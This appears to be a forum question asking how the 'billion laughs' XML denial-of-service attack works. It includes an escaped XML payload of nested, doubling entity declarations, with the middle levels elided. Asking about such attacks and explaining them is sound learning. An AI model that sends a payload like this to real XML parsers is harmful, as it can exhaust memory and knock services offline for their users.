title: How does the billion laughs XML DoS attack work?
body: <pre><code>&lt;!DOCTYPE root [
   &lt;!ENTITY ha "Ha !"&gt;
   &lt;!ENTITY ha2 "&amp;ha; &amp;ha;"&gt;
   &lt;!ENTITY ha3 "&amp;ha2; &amp;ha2;"&gt;
   &lt;!ENTITY ha4 "&amp;ha3; &amp;ha3;"&gt;
   &lt;!ENTITY ha5 "&amp;ha4; &amp;ha4;"&gt;
   ...
   &lt;!ENTITY ha128 "&amp;ha127; &amp;ha127;"&gt;
   ]&gt;
   &lt;root&gt;&amp;ha128;&lt;/root&gt;
  </code></pre>
  
  <p>supposedly this is called a billion laughs DoS attack.</p>
  
  <p>does anyone know how it works?</p>